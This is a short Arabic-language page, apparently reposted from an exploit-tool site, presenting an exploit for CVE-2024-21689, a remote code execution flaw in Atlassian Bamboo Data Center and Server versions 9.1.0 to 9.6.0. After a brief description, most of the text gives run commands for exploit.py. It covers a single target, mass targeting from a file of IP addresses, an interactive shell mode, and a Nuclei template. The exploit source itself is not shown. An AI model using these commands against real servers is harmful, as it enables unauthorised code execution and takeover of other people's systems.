CVE-2024-21689

#CVE-2024–21689 RCE في Bamboo Data Center وServer من Atlassian

درجة CVSS - 7.6 🔥

الوصف

تم تقديم ثغرة RCE (Remote Code Execution) عالية الخطورة CVE-2024-21689 في الإصدارات 9.1.0 و9.2.0 و9.3.0 و9.4.0 و9.5.0 و9.6.0 من Bamboo Data Center وServer. تسمح ثغرة RCE (Remote Code Execution) هذه، بدرجة CVSS تبلغ 7.6، لمهاجم مصادق بتنفيذ تعليمات برمجية عشوائية، مما يؤثر بشكل كبير على السرية والسلامة والتوافر، وتتطلب تفاعل المستخدم.

تشغيل السكربت

• وضع URL واحد:
  root@kitploit:~

  python3 exploit.py -u http://<target-ip>:8090 -c "whoami"
  

• وضع الملف (لعدة عناوين IP):
  root@kitploit:~

  python3 exploit.py -f ips.txt -c "whoami"
  

• وضع الصدفة التفاعلية:
  root@kitploit:~

  python3 exploit.py -u http://<target-ip>:8090 --shell
  

• Nuclei:
  root@kitploit:~

  nuclei exploit.yaml -f file.txt
  

التواصل